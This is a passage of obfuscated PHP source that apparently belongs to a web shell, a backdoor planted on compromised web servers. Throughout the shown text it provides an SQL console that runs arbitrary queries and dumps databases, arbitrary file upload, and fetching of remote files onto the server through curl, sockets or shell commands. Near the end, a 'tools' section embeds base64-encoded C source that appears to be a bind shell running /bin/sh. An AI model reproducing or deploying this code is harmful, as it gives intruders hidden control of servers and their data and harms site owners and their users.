"\x72\x6f\x6f\164", "\x34")) . z7e(z8e(z9s("\x34\65\x34"))) . z7l(z5u("\x73\161\x6c\137\160\x61\163\163", '', "\x34")) . z7e(z8e(z9s("\64\65\x35"))) . z7l(z5u("\163\x71\x6c\x5f\x64\142", '', "\x34")) . z7e(z8e(z9s("\x34\65\x36"))) . z7l(z4a("\163\161\154\x5f\x65\x6e\x67\x69\156\x65", array("\115\x79\123\121\114" => "\x4d\171\x53\121\114"), "\x34", 1) . z8v(z9s("\64\x35\x37"), "\67")))) . z10w(); echo z6d(); echo z2b(array(z9s("\x34\x31\60"), z9s("\64\x32\x30")), "\x34\66"); echo z9m("\x32") . z9f(z9j(z5c(array("\x61\x63\164" => "\163\161\154", "\144", "\x71\137\x73\x71\x6c\137\141\143\x74\x69\x6f\156" => "\x64\165\x6d\x70"), z9m() . z5n() . z7i(z5t(z9s("\x34\x31\61")) . z9j(z4a("\161\137\x73\161\154\x5f\145\156\x67\151\156\x65", $available_arr, "\64", 1))) . z7i(z5t(z9s("\x34\x31\62")) . z9j(z5u("\161\137\x73\161\x6c\x5f\163\145\x72\166\145\162", "\61\62\x37\x2e\x30\56\x30\56\x31", "\x34") . "\72" . z5u("\161\x5f\163\x71\154\137\x70\x6f\x72\x74", "\x33\63\60\x36", "\x31"))) . z7i(z5t(z9s("\64\61\x33")) . z9j(z5u("\x71\137\x73\x71\154\x5f\x75\x73\145\x72", "\x72\x6f\157\x74", "\x34") . "\72" . z5u("\161\x5f\163\161\x6c\137\x70\x61\163\x73", '', "\64"))) . z7i(z5t(z9s("\x34\x31\64")) . z9j(z5u("\161\x5f\163\x71\154\x5f\144\x62", "\155\x79\x73\161\x6c", "\64") . "\56" . z5u("\161\x5f\163\x71\x6c\137\164\x61\142\x6c\x65", "\x75\163\x65\162", "\64"))) . z7i(z5t(z9s("\64\x31\65")) . z9j(z5u("\x71\x5f\163\x71\154\137\x66\x69\x6c\x65\156\141\x6d\x65", $q_sql_filename, "\70"))) . z7i(z5t(z9c()) . z9j(z5y("\x71\x5f\163\x71\154\137\144\157\x77\156\x6c\x6f\x61\x64", z9s("\64\61\66"), "\x71\x5f\163\161\x6c\137\144\157\167\156\x6c\157\x61\144"))) . z7i(z5t(z9c()) . z9j(z5y("\161\x5f\x73\x71\154\137\163\x61\166\145\x32\146\x69\154\145", z9s("\64\x31\67"), "\x71\137\163\161\x6c\137\x73\141\166\145\62\x66\151\154\x65"))) . z7i(z5t(z9c()) . z9j(z8v(z9s("\x34\61\x38"), "\x37"))) . z5n() . z10w()), '', "\x34") . z9j(z5c(array("\x61\143\164" => "\x73\161\154", "\144", "\x71\137\x73\161\x6c\137\141\143\x74\151\x6f\156" => "\161\165\145\x72\171"), z9m() . z5n() . z7i(z5t(z9s("\64\x31\61")) . z9j(z4a("\x71\137\x73\161\x6c\x5f\145\x6e\x67\x69\156\145", $available_arr, "\x34", 1))) . z7i(z5t(z9s("\x34\61\62")) . z9j(z5u("\161\137\x73\161\x6c\x5f\x73\145\x72\x76\145\x72", "\61\x32\67\56\60\x2e\60\56\61", "\x34") . "\72" . z5u("\x71\137\163\x71\x6c\x5f\160\157\x72\164", "\63\x33\x30\66", "\x31"))) . z7i(z5t(z9s("\x34\61\63")) . z9j(z5u("\x71\137\163\161\154\137\165\x73\x65\x72", "\x72\x6f\x6f\x74", "\x34") . "\x3a" . z5u("\x71\x5f\x73\161\154\137\x70\141\163\163", '', "\64"))) . z7i(z5t(z9s("\64\x32\x31")) . z9j(z5u("\161\137\163\161\x6c\x5f\x64\142", "\x6d\171\x73\161\x6c", "\64"))) . z9f(z5t(z9s("\63\x37\x30")) . z9j(z5w("\161\x5f\x73\161\x6c\x5f\161\165\145\x72\171", "\x34") . @htmlspecialchars($q_sql_query) . z5q())) . z7i(z5t(z9c()) . z9j(z8v(z9s("\64\62\x32"), "\x37"))) . z5n() . z10w()), '', "\64\66")) . z10w(); if (@isset($q_sql_action) && $q_sql_action == "\x71\x75\x65\x72\171") { $sql = new my_sql(); $sql->db = $q_sql_engine; $sql->host = $q_sql_server; $sql->port = $q_sql_port; $sql->user = $q_sql_user; $sql->pass = $q_sql_pass; $sql->base = $q_sql_db; $querys = @explode("\73", $q_sql_query); $q_sql_connect_error = ''; $q_sql_error = ''; $q_sql_result = ''; if (!$sql->connect()) { $q_sql_connect_error = z2b(z9s("\64\61\x39")); } else { if (!empty($sql->base) && !$sql->select_db()) { $q_sql_connect_error = z2b(z9s("\x34\x34\x37")); } else { foreach ($querys as $num => $query) { if (@strlen($query) > 5) { $q_sql_result .= z2b(z9s("\64\x32\x33", array($num, @htmlspecialchars($query, ENT_QUOTES)))); switch ($sql->query($query)) { case "\x30": $q_sql_result .= z2b("\x45\122\x52\117\122\x20\x3a\x20" . $sql->error); break; case "\x31": if ($sql->get_result()) { $q_sql_result .= z9m("\x32") . z7p() . z7k() . z5x('', "\x30") . z9m("\x32") . z7p() . z7k(); foreach ($sql->columns as $k => $v) { $sql->columns[$k] = @htmlspecialchars($v, ENT_QUOTES); } $keys = ''; $count_keys = @count($sql->columns); $key_num = 0; foreach ($sql->columns as $column) { if ($key_num == 0) { $keys .= z9j($column, "\61\x33", "\60\62"); } elseif ($key_num == $count_keys - 1) { $keys .= z9j($column, "\61\63", "\60\x33"); } else { $keys .= z9j($column, "\61\x33", "\60"); } $key_num++; } $q_sql_result .= z7i($keys); for ($i = 0; $i < $sql->num_rows; $i++) { foreach ($sql->rows[$i] as $k => $v) { $sql->rows[$i][$k] = @htmlspecialchars($v, ENT_QUOTES); } $values = ''; $count_values = @count($sql->rows[$i]); $value_num = 0; foreach ($sql->rows[$i] as $row) { if ($value_num == 0) { $values .= z9j($row, "\x31\64", "\x32"); } elseif ($value_num == $count_values - 1) { $values .= z9j($row, "\x31\x34", "\x33"); } else { $values .= z9j($row, "\x31\x34"); } $value_num++; } $q_sql_result .= z7i($values, $i % 2 ? "\60" : "\x31"); } $q_sql_result .= z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w(); } break; case "\x32": $ar = $sql->affected_rows() ? $sql->affected_rows() : "\x30"; $q_sql_result .= z2b("\x41\106\106\105\x43\x54\105\x44\40\x52\117\127\x53\72\x20" . $ar); break; } } if ($q_sql_result != '') { echo $q_sql_result; $q_sql_result = ''; } } } } if ($q_sql_connect_error != '') { echo $q_sql_connect_error; } } if (@isset($q_sql_action) && $q_sql_action == "\144\165\155\x70") { $fp = 0; if (@isset($q_sql_save2file) && $q_sql_save2file == "\61" && @isset($q_sql_filename) && !@empty($q_sql_filename)) { if (z4q($q_sql_filename)) { @unlink($q_sql_filename); } $fp = @fopen($q_sql_filename, "\x61"); } $q_sql_filename = @str_replace("\x5f\144\x62\x5f", "\x5f" . $q_sql_db . "\137", $q_sql_filename); $sql = new my_sql(); $sql->db = $q_sql_engine; $sql->host = $q_sql_server; $sql->port = $q_sql_port; $sql->user = $q_sql_user; $sql->pass = $q_sql_pass; $sql->base = $q_sql_db; $q_sql_dumped = ''; if (!$sql->connect()) { echo z2b(z9s("\x34\61\x39")); } elseif (!$sql->select_db()) { echo z2b(z9s("\64\64\67")); } elseif (!$sql->dump($q_sql_table)) { echo z2b(z9s("\64\x35\70")); } else { if (@isset($q_sql_download) && $q_sql_download == "\61") { @ob_clean(); @header("\103\x6f\x6e\x74\145\156\164\55\x74\171\x70\x65\x3a\x20\141\x70\160\x6c\x69\143\141\x74\x69\x6f\x6e\57\157\143\x74\145\x74\x2d\x73\164\x72\145\141\x6d"); @header("\103\157\156\164\x65\156\x74\55\144\x69\163\160\x6f\x73\151\164\x69\x6f\156\x3a\40\x61\164\164\141\143\150\x6d\145\156\164\73\40\146\151\x6c\x65\156\x61\x6d\145\75\42" . @basename($q_sql_filename) . "\42\73"); foreach ($sql->dump as $v) { echo $v . "\xd\12"; } die; } if (!@isset($q_sql_save2file) || $q_sql_save2file != "\x31") { echo z9m("\62") . z6g() . z6w() . z5w('', "\61"); foreach ($sql->dump as $v) { echo @htmlspecialchars($v) . "\15\xa"; } echo z5q() . z7g() . z7u() . z10w() . z6d(); } else { if ($fp) { foreach ($sql->dump as $v) { if (!@fwrite($fp, $v . "\15\xa")) { @fputs($fp, $v . "\15\12"); } } if (z4q($q_sql_filename)) { z2b(z9s("\x34\65\x39")); } else { echo z2b(z9s("\x34\65\60")); } } else { echo z2b(z9s("\x34\x35\60")); } } } } } } goto NRBeg; Ah6IX: if ($act == "\165\160\154\x6f\x61\144") { if (z0v($d)) { $wdt = $use_images ? "\x3c\x69\x6d\x67\40\141\x6c\164\75\42\x2b\x22\40\142\x6f\162\x64\x65\x72\75\x22\x30\x22\40\163\164\171\x6c\145\75\42\x76\x65\x72\x74\x69\143\141\154\x2d\x61\154\151\147\156\72\x20\x6d\151\144\144\x6c\x65\x3b\x20\160\141\x64\144\x69\156\147\55\154\145\146\x74\72\62\160\x78\73\42\40\x73\162\x63\75\x22\77\x61\143\164\x3d\x69\46\141\155\160\73\151\155\147\75\x6f\x6b\42\76" : z5i("\53"); } else { $wdt = $use_images ? "\74\x69\155\x67\40\141\x6c\164\75\42\170\42\x20\x62\157\x72\144\x65\x72\x3d\x22\60\x22\40\163\x74\171\x6c\x65\75\x22\x76\145\162\x74\151\x63\141\x6c\55\141\x6c\x69\x67\x6e\x3a\40\155\x69\x64\x64\154\145\73\x20\x70\141\x64\x64\x69\156\147\x2d\x6c\x65\146\164\72\x32\160\170\73\42\40\163\162\143\75\42\77\141\143\x74\x3d\151\46\x61\155\160\73\151\x6d\x67\x3d\x63\141\156\x63\x65\x6c\42\76" : z8z("\x78"); } $a_get = array(); $ls_a = array(); $umsg = $mmsg = $rmsg = ''; if (!@isset($multiupload)) { if (@isset($usubmit) && $usubmit) { global $_FILES; $dest = ''; if (!@empty($_FILES["\x66\151\x6c\145\61"]["\164\155\x70\x5f\156\141\x6d\x65"])) { $dest = $_FILES["\146\x69\x6c\145\x31"]["\x6e\141\x6d\145"]; } if (@isset($rfile1) && !@empty($rfile1)) { $dest = $rfile1; } if (!@isset($path1) || @empty($path1)) { $path1 = $d; } $path1 = z1a($path1); if (!@empty($dest)) { if (!@move_uploaded_file($_FILES["\x66\151\154\145\x31"]["\164\x6d\160\137\x6e\x61\155\145"], $path1 . $dest)) { $umsg = z9s("\x31\67\x32", array($_FILES["\x66\151\x6c\145\x31"]["\156\x61\x6d\x65"], $_FILES["\146\x69\154\x65\61"]["\164\x6d\x70\x5f\156\141\x6d\x65"], $path1 . $dest)); } else { $umsg = z9s("\x31\x37\63", array($_FILES["\146\x69\x6c\145\x31"]["\x6e\141\155\145"], $path1 . $dest)); $ls_a[] = $path1 . $dest; $nolsmenu = 1; $act = "\x6c\x73"; $d = $path1; } $umsg = z10e(z7i(z9j($umsg))); } } echo z2b(z9s("\x31\x36\61")) . $umsg . z10e(z5n() . z9f(z9j(z5m(array("\x61\x63\x74" => "\165\160\x6c\157\x61\x64", "\x64", "\x75\163\x75\x62\x6d\151\x74" => "\61"), z10e(z7i(z5t(z9s("\x31\66\62")) . z9j(z9h("\x66\151\154\145\61", "\x32") . z8v(z9s("\61\67\x30"), "\67") . $wdt)) . z7i(z5t(z9s("\x31\x36\x33")) . z9j(z6i("\x72\x66\151\x6c\145\61", @isset($rfile1) ? $rfile1 : '', "\x39"))) . z7i(z5t(z9s("\61\66\64")) . z9j(z6i("\160\141\x74\150\61", @isset($path1) ? $path1 : $d, "\71")))))) . z9j(z5c(array("\141\x63\x74" => "\x75\x70\x6c\157\x61\x64", "\144", "\155\x75\154\164\151\x75\x70\x6c\157\x61\144" => "\x31"), z10e(z7i(z9j(z8e(z9s("\x31\66\66")) . z6i("\154\x6e\x6f", @isset($lno) ? $lno : "\x31\60", "\x31") . z8v(z9s("\x31\x36\x39"), "\x37"))))))) . z5n(), "\x32"); } else { if (@isset($msubmit) && $msubmit) { global $_FILES; foreach ($_FILES as $fk => $fv) { $dest = ''; if (!@empty($_FILES[$fk]["\x74\x6d\x70\137\156\141\155\145"])) { $dest = $_FILES[$fk]["\x6e\141\x6d\145"]; } if (@isset($rfile[$fk]) && !@empty($rfile[$fk])) { $dest = $rfile[$fk]; } if (!@isset($mpath) || @empty($mpath)) { $mpath = $d; } $mpath = z1a($mpath); if (!@empty($dest)) { if (!@move_uploaded_file($_FILES[$fk]["\x74\155\160\x5f\156\x61\155\145"], $mpath . $dest)) { $mmsg .= z9s("\x31\x37\62", array($_FILES[$fk]["\156\x61\x6d\145"], $_FILES[$fk]["\x74\x6d\x70\137\x6e\141\155\x65"], $mpath . $dest)) . z9x(); } else { $mmsg .= z9s("\61\67\63", array($_FILES[$fk]["\156\141\x6d\145"], $mpath . $dest)) . z9x(); $ls_a[] = $mpath . $dest; $nolsmenu = 1; $act = "\154\x73"; $ftarget = "\61"; $d = $mpath; } } } if ($mmsg != '') { $mmsg = z10e(z7i(z9j($mmsg))); } } $form = ''; if (!@is_numeric($lno)) { $lno = 10; } for ($i = 0; $i < $lno; $i++) { $ii = $i + 1; $form .= z7i(z5t(z9s("\x31\x36\62") . "\x20" . $ii) . z9j(z9h("\x66\151\x6c\145" . $ii, "\62")) . z5t(z9s("\x31\x36\63")) . z9j(z6i("\x72\x66\151\154\x65\x5b\146\x69\154\145" . $ii . "\135", '', "\x30"))); } echo z2b(z9s("\x31\66\70")) . $mmsg . z5m(array("\141\143\x74" => "\165\x70\x6c\157\141\144", "\144", "\x6d\165\x6c\164\151\x75\160\x6c\x6f\x61\x64" => "\x31", "\x6c\x6e\157", "\155\x73\165\142\x6d\x69\164" => "\x31"), z10e(z5n() . $form) . z10e(z5n() . z7i(z5t(z9s("\x31\x36\64")) . z9j(z6i("\x6d\160\x61\x74\150", @isset($mpath) ? $mpath : $d, "\71") . z8v(z9s("\61\x37\x30"), "\x37") . $wdt)) . z5n())); } if ($bcurl) { $a_get["\160\x68\x70\x63\x75\162\154"] = "\x75\163\x65\40\160\150\x70\55\x3e\143\165\x72\x6c"; } if ($bfsock) { $a_get["\146\163\157\143\153"] = "\165\x73\x65\x20\x70\x68\x70\55\76\x66\163\x6f\143\153\157\x70\x65\156"; } if (z7r("\151\156\151\137\x67\x65\164") && z8l("\x61\x6c\x6c\x6f\167\137\165\162\154\x5f\x66\x6f\160\145\x6e") && z7r("\146\151\154\x65\137\147\x65\x74\137\143\x6f\x6e\164\x65\x6e\x74\x73")) { $a_get["\x66\x69\x6c\x65\x5f\147\x65\x74\137\x63\157\x6e\x74\145\x6e\x74\163"] = "\165\163\x65\40\160\150\x70\55\76\x66\x69\154\x65\137\147\x65\x74\x5f\x63\157\156\x74\145\156\x74\x73"; } if ($nix && $sh_exec) { foreach ($getaliases as $k => $v) { if (z8u($k)) { $a_get[$k] = "\x75\163\145\x20\143\155\x64\x2d\x3e{$k}"; } } } if (@count($a_get) > 0) { if (@isset($rsubmit) && $rsubmit) { $fct = ''; if (!@preg_match("\72\136\50\150\x74\x74\160\x7c\150\x74\164\160\163\x7c\146\164\160\x29\134\72\57\x2f\x28\x5b\141\55\x7a\x41\x2d\x5a\x30\x2d\x39\134\56\134\x2d\x5d\x2b\50\x5c\72\x5b\x61\x2d\x7a\x41\55\x5a\60\x2d\71\x5c\56\46\x25\x24\134\55\135\x2b\51\x2a\100\51\77\x28\50\x32\65\133\x30\55\65\x5d\x7c\x32\133\60\55\64\x5d\133\x30\x2d\x39\x5d\174\133\x30\x2d\x31\x5d\173\x31\x7d\133\60\x2d\71\x5d\173\x32\175\x7c\x5b\61\55\x39\135\x7b\61\175\133\60\x2d\71\x5d\x7b\x31\x7d\x7c\133\61\55\x39\x5d\x29\134\x2e\50\x32\x35\x5b\x30\x2d\x35\x5d\x7c\62\x5b\x30\55\x34\135\133\x30\x2d\x39\135\174\x5b\60\x2d\x31\x5d\173\x31\x7d\x5b\60\55\71\135\x7b\x32\x7d\174\x5b\61\x2d\x39\135\x7b\x31\175\133\x30\55\71\x5d\x7b\x31\175\174\133\x31\x2d\x39\x5d\174\60\51\x5c\56\50\x32\x35\133\60\x2d\65\x5d\x7c\x32\133\x30\55\x34\135\133\60\55\x39\x5d\x7c\133\x30\55\61\135\x7b\x31\175\133\x30\55\71\x5d\x7b\x32\175\174\133\61\x2d\x39\135\173\61\175\133\x30\x2d\x39\x5d\173\61\x7d\x7c\133\61\55\x39\x5d\174\60\51\134\x2e\x28\x32\x35\x5b\60\x2d\x35\x5d\174\x32\133\60\55\x34\135\133\60\x2d\x39\x5d\174\x5b\60\x2d\61\x5d\173\61\x7d\133\60\55\x39\135\173\x32\x7d\x7c\133\61\x2d\71\x5d\x7b\61\175\133\60\x2d\x39\x5d\x7b\x31\x7d\174\133\60\55\71\x5d\51\x7c\50\x5b\x61\x2d\172\x41\x2d\132\60\55\71\x5c\x2d\135\x2b\134\x2e\x29\52\133\141\55\172\x41\55\132\60\x2d\71\134\55\x5d\x2b\x5c\56\x5b\141\55\x7a\x41\x2d\132\135\x7b\62\x2c\64\x7d\51\50\134\x3a\x5b\60\55\x39\135\53\x29\x3f\x28\57\x5b\136\x2f\135\x5b\141\55\x7a\101\x2d\x5a\60\x2d\x39\134\x2e\134\x2c\x5c\77\x5c\x27\x5c\x2f\x5c\53\46\45\x24\43\134\x3d\x7e\x5f\x5c\x2d\x40\135\x2a\x29\x2a\44\x3a\x69", $uploadurl)) { $rmsg = z9s("\61\67\61", $uploadurl); } else { $dest = z2h($uploadurl); if (@isset($nameurl) && !@empty($nameurl)) { $dest = $nameurl; } if (@empty($dest)) { $dest = "\151\156\144\x65\170\x2e\150\x74\155\x6c"; } if (!@isset($rpath) || @empty($rpath)) { $rpath = $d; } $rpath = z1a($rpath); if (z4q($rpath . $dest)) { $i = 1; while (z4q($rpath . $dest)) { if ($i == 1) { $dest = $dest . "\56" . $i; } else { $dest = @substr($dest, 0, @strlen($dest) - 2) . "\56" . $i; } $i++; } } if ($upwith == "\x70\x68\160\143\165\x72\x6c" || $upwith == "\146\163\x6f\x63\x6b" || $upwith == "\146\151\154\145\137\x67\x65\164\x5f\143\x6f\156\164\x65\156\x74\x73") { if ($upwith == "\160\x68\x70\x63\x75\162\154") { $fct = z3a($uploadurl); } if ($upwith == "\146\x73\x6f\143\153") { $fct = z2f($uploadurl); } if ($upwith == "\x66\151\154\x65\x5f\147\145\x74\137\143\x6f\156\164\145\156\x74\x73") { $fct = @file_get_contents($uploadurl); } if (!$fct || @empty($fct)) { $rmsg = z9s("\x31\67\64"); } else { if (z9y($rpath . $dest, $fct)) { $rmsg = z9s("\x31\x37\x36", $rpath . $dest); $ls_a[] = $rpath . $dest; $nolsmenu = 1; $act = "\x6c\x73"; $d = $rpath; } else { $rmsg = z9s("\61\67\65", $rpath . $dest); } } } else { if ($nix && $sh_exec && @isset($getaliases[$upwith])) { $ucmd = @str_replace("\x5b\x25\x31\45\135", $upwith, $getaliases[$upwith]); $ucmd = @str_replace("\x5b\x25\x32\x25\x5d", $uploadurl, $ucmd); $ucmd = @str_replace("\133\x25\x33\x25\135", $rpath . $dest, $ucmd); z9t($ucmd, 1); if (z4q($rpath . $dest)) { $rmsg = z9s("\x31\x37\66", $rpath . $dest); $ls_a[] = $rpath . $dest; $nolsmenu = 1; $act = "\x6c\163"; $d = $rpath; } else { $rmsg = z9s("\x31\67\x34"); } } } } if ($rmsg != '') { $rmsg = z10e(z7i(z9j($rmsg))); } } echo z2b(z9s("\x31\x36\67")) . $rmsg . z5c(array("\141\x63\x74" => "\165\160\154\x6f\141\x64", "\144", "\x72\163\x75\x62\x6d\151\x74" => "\61"), z10e(z5n() . z7i(z5t(z9s("\x31\x36\x35")) . z9j(z6i("\x75\160\x6c\x6f\x61\144\165\x72\x6c", @isset($uploadurl) ? $uploadurl : "\150\164\164\x70\72\57\x2f", "\x30") . z4a("\x75\160\167\x69\164\x68", $a_get, "\x34", "\x31") . z8v(z9s("\x31\67\x30"), "\x37") . $wdt)) . z7i(z5t(z9s("\61\x36\63")) . z9j(z6i("\156\x61\x6d\x65\165\162\x6c", @isset($nameurl) ? $nameurl : '', "\x39"))) . z7i(z5t(z9s("\x31\x36\64")) . z9j(z6i("\162\160\x61\x74\150", @isset($rpath) ? $rpath : $d, "\x39"))) . z5n(), "\62")); } } goto JkqMK; jvQyF: function z3f() { $r = z9s("\x34\63\60"); $c = $k = $b = ''; $f = z9p("\57\160\162\x6f\143\x2f\143\160\165\x69\x6e\146\157"); if (!@empty($f)) { $a = @explode("\xa", $f); $n = 0; for ($i = 0; $i < @count($a); $i++) { @(list($x, $y, ) = @explode("\72", $a[$i])); $x = @rtrim($x); $y = @rtrim($y); if ($x == "\x70\162\157\143\145\x73\163\157\162") { $n++; $r = $n; } if ($x == "\x76\x65\x6e\x64\157\162\x5f\x69\144") { $r .= $y; } if ($x == "\155\x6f\x64\145\x6c\40\156\141\155\145") { $r .= $y; } if ($x == "\143\160\165\40\115\110\x7a") { $r .= "\x20" . @floor($y); $k = "\171"; } if ($x == "\x63\x61\x63\150\x65\x20\163\x69\x7a\x65") { $c = $y; } if ($x == "\142\x6f\x67\x6f\155\x69\160\x73") { $b = $y; } } if ($k != "\171") { $r .= "\x20\74\x62\76\165\x6e\153\156\157\x77\156\74\x2f\142\x3e"; } $r .= "\40\115\110\172\40\x2f\x20\103\141\x63\x68\x65\72\x20{$c}\x20\x2f\x20\102\x6f\x67\157\115\x49\120\x53\x3a\40{$b}"; } return $r; } goto xBqQp; YZJ0W: function z1u($n) { return @isset($_COOKIE[$n]) ? $_COOKIE[$n] : ''; } goto jFTBf; gUbZN: function z7w($c = '', $t = '') { return "\74\x66\x6f\162\x6d\40\155\x65\164\150\x6f\x64\75\x22\120\117\123\x54\x22\x20\x61\143\164\x69\x6f\x6e\x3d\x22\x22" . ($t != '' ? "\x20\x74\x61\162\x67\x65\164\x3d\x22\137\142\154\141\x6e\153\42" : '') . ($c != '' ? "\x20\x63\x6c\141\163\163\75\x22" . z4m($c, "\x33") . "\42" : '') . "\x3e"; } goto NCd7A; lWHbw: function z3z($h) { return @preg_match("\x2f\136\133\60\x2d\x39\141\55\146\101\x2d\x46\135\x2b\x24\57", $h) ? 1 : 0; } goto n5eAD; cfg0g: function z3o($k) { $_SESSION[$k] = @array_reverse($_SESSION[$k]); @array_pop($_SESSION[$k]); $_SESSION[$k] = @array_reverse($_SESSION[$k]); z2i($k); } goto AjxvQ; ubUwE: $a_sql = array(); goto oImQt; cBCE9: if ($act == "\164\x6f\x6f\x6c\163") { $bndprt_c = "\x49\62\154\x75\131\x32\x78\61\x5a\x47\125\x67\120\110\116\60\x5a\x47\x6c\166\x4c\x6d\147\53\103\151\x4e\x70\x62\155\116\163\144\x57\x52\x6c\111\104\x78\x31\x62\x6d\154\x7a\144\x47\x51\x75\141\104\64\113\111\62\x6c\x75\x59\62\170\61\x5a\107\x55\147\120\110\x4e\x30\132\x47\x78\x70\131\151\x35\x6f\x50\147\x6f\x6a\x61\x57\x35\x6a\142\110\x56\x6b\x5a\123\101\70\143\x33\x52\x79\141\x57\65\156\143\171\x35\157\120\x67\x6f\152\141\127\65\152\x62\x48\x56\x6b\x5a\123\x41\70\x62\155\126\60\141\127\x35\x6c\144\x43\71\160\x62\x69\65\x6f\x50\x67\x6f\x6a\x61\127\65\x6a\142\x48\126\153\x5a\123\x41\x38\143\x33\154\172\x4c\x33\116\166\131\62\x74\x6c\x64\x43\65\157\120\147\x6f\152\x61\127\65\152\142\110\126\x6b\x5a\x53\101\x38\x63\x32\154\x6e\x62\x6d\x46\x73\114\x6d\x67\53\103\x67\x6f\x6a\132\x47\x56\x6d\x61\x57\x35\x6c\x49\x46\x41\167\x55\154\121\147\112\130\102\166\x63\x6e\121\154\x43\x69\x4e\x6b\132\x57\132\160\x62\x6d\x55\147\125\x45\x46\124\125\171\101\x69\x4a\x58\x42\150\143\63\x4d\154\x49\147\x6f\113\141\127\x35\x30\x43\155\61\150\x61\127\64\x6f\141\127\65\x30\111\107\x45\x73\111\107\x4e\157\x59\x58\x49\x67\x4b\x69\160\151\x4b\121\160\x37\x43\x6d\154\x75\x64\103\x42\x6a\114\x43\x42\153\114\x43\x42\154\111\104\x30\147\x63\x32\x6c\x36\132\127\71\x6d\113\x48\116\60\143\156\x56\152\x64\x43\x42\x7a\x62\62\x4e\162\131\127\122\x6b\x63\154\x39\x70\x62\x69\x6b\x73\x49\x47\x59\67\103\x6d\116\x6f\131\x58\x49\x67\x63\x46\x73\170\115\104\101\x77\130\x54\x73\113\x63\x33\x52\x79\x64\127\x4e\60\x49\110\x4e\x76\x59\x32\164\x68\132\107\x52\171\130\62\x6c\165\x49\x47\x77\x73\111\x48\111\67\x43\156\116\x70\x5a\62\65\x68\x62\x43\150\x54\123\125\x64\x44\123\105\x78\x45\114\x43\x42\124\x53\125\144\146\x53\125\144\117\x4b\x54\163\113\143\62\154\x6e\142\x6d\106\x73\x4b\x46\116\112\x52\60\x68\126\125\x43\167\x67\x55\60\154\110\x58\60\x6c\110\x54\151\153\67\103\156\116\x70\132\x32\x35\150\x62\103\150\124\x53\x55\x64\125\122\126\x4a\116\114\x43\x42\124\x53\x55\144\x66\x53\125\144\117\x4b\x54\163\113\x63\62\154\156\142\155\x46\x73\x4b\106\x4e\112\x52\x30\154\x4f\126\103\x77\147\125\x30\x6c\x48\x58\x30\154\x48\x54\x69\x6b\x37\103\x6d\154\x6d\111\x43\150\x6d\142\63\x4a\x72\x4b\x43\153\x70\x43\x6d\126\64\x61\x58\121\x6f\115\x43\x6b\x37\103\155\167\x75\143\x32\x6c\165\x58\x32\x5a\x68\142\x57\154\163\x65\x53\x41\71\111\x45\106\x47\x58\x30\x6c\x4f\x52\x56\x51\67\103\155\x77\165\143\62\x6c\x75\x58\x33\x42\x76\x63\156\x51\147\120\123\x42\x6f\x64\107\x39\165\x63\171\x68\121\115\x46\112\x55\x4b\124\x73\113\x62\x43\x35\x7a\x61\127\65\146\x59\x57\x52\153\x63\151\65\x7a\x58\x32\106\x6b\132\110\x49\147\x50\x53\102\x4a\x54\x6b\x46\105\x52\106\112\146\x51\125\65\132\117\167\x70\151\145\x6d\x56\x79\142\x79\147\155\x4b\x47\167\165\x63\62\154\165\130\63\x70\154\143\155\x38\160\114\103\101\64\x4b\x54\x73\x4b\x59\171\101\71\111\x48\116\x76\131\x32\164\x6c\144\103\150\x42\122\154\71\112\x54\x6b\126\125\114\x43\102\x54\x54\x30\x4e\x4c\130\61\116\125\125\x6b\x56\x42\124\x53\x77\x67\115\x43\x6b\x37\x43\155\x4a\160\x62\x6d\121\x6f\x59\171\167\x6f\x63\63\122\171\x64\127\116\60\111\x48\x4e\x76\x59\62\164\x68\132\x47\x52\171\111\103\x6f\x70\x49\103\x5a\x73\114\103\x42\172\x61\130\x70\154\x62\x32\131\157\143\x33\122\x79\144\x57\116\60\111\110\x4e\x76\x59\x32\164\150\x5a\107\x52\x79\113\x53\153\x37\x43\155\170\x70\143\x33\122\x6c\x62\151\150\x6a\x4c\x43\101\x7a\x4b\124\x73\113\144\x32\x68\x70\142\107\125\147\113\103\x68\153\x49\x44\x30\x67\x59\x57\x4e\152\132\x58\x42\60\113\107\x4d\163\x49\103\150\172\144\x48\x4a\x31\131\x33\121\147\x63\x32\x39\152\141\x32\106\x6b\x5a\x48\x49\147\113\151\x6b\147\x4a\156\x49\x73\x49\x43\132\x6c\113\x53\153\160\103\x6e\163\113\x61\127\131\147\113\103\x46\155\x62\x33\x4a\162\113\x43\153\x70\103\156\163\113\143\155\x56\152\x64\151\x68\x6b\114\x43\x42\x77\x4c\x43\101\170\115\x44\101\x77\114\103\x41\x77\x4b\124\x73\x4b\141\x57\x59\x67\113\x47\116\x6f\x63\x47\106\x7a\x63\171\150\121\121\x56\116\x54\114\110\x41\160\113\121\160\x37\x43\155\x4e\x73\x62\63\x4e\x6c\113\x47\121\160\117\x77\160\154\145\107\x6c\60\113\x44\105\x70\x4f\167\x70\x39\103\x6d\116\163\142\63\116\154\x4b\x44\101\x70\117\167\x70\x6a\142\x47\x39\x7a\132\x53\x67\x78\x4b\x54\x73\x4b\x59\62\170\x76\x63\62\x55\157\x4d\151\153\67\103\x6d\x52\x31\143\104\111\157\132\x43\x77\x67\x4d\103\x6b\x37\103\x6d\122\x31\x63\x44\111\x6f\132\x43\x77\147\x4d\123\153\67\x43\x6d\x52\x31\x63\x44\111\157\132\103\x77\x67\x4d\x69\153\x37\x43\156\116\154\144\107\126\165\144\151\147\151\125\x45\106\x55\123\x43\111\x73\x49\x43\x49\x76\x63\x32\x4a\x70\x62\x6a\157\x76\131\155\x6c\165\x4f\151\x39\61\143\x33\111\166\143\x32\112\x70\142\x6a\x6f\166\x64\130\x4e\x79\114\x32\x4a\x70\x62\152\x6f\166\x64\x58\116\171\114\x32\170\166\131\62\106\x73\x4c\62\112\x70\142\x69\70\66\x4c\63\x56\172\143\x69\x39\163\142\62\116\150\x62\103\x39\172\131\155\x6c\165\117\151\64\151\114\x43\101\x78\113\124\163\x4b\144\127\65\172\132\130\122\154\142\x6e\131\157\x49\x6b\x68\x4a\125\61\x52\124\x51\x56\132\106\111\151\x6b\x37\103\156\126\165\143\x32\126\60\x5a\x57\x35\62\113\x43\112\111\123\x56\x4e\125\122\153\154\115\122\123\111\x70\117\167\160\x6c\x65\107\x56\152\142\103\x67\151\114\62\112\160\142\151\x39\x7a\x61\103\x49\x73\x49\103\x4a\172\x61\103\x49\x73\x49\103\x68\152\x61\x47\x46\171\111\x43\x6f\160\111\104\101\x70\x4f\x77\x70\x6a\142\107\x39\x7a\132\123\x68\x6b\113\x54\163\x4b\132\130\150\x70\144\x43\x67\x77\x4b\124\x73\113\146\x51\x70\x39\103\x6e\112\x6c\144\x48\x56\171\x62\151\101\x77\x4f\x77\160\x39\103\x67\1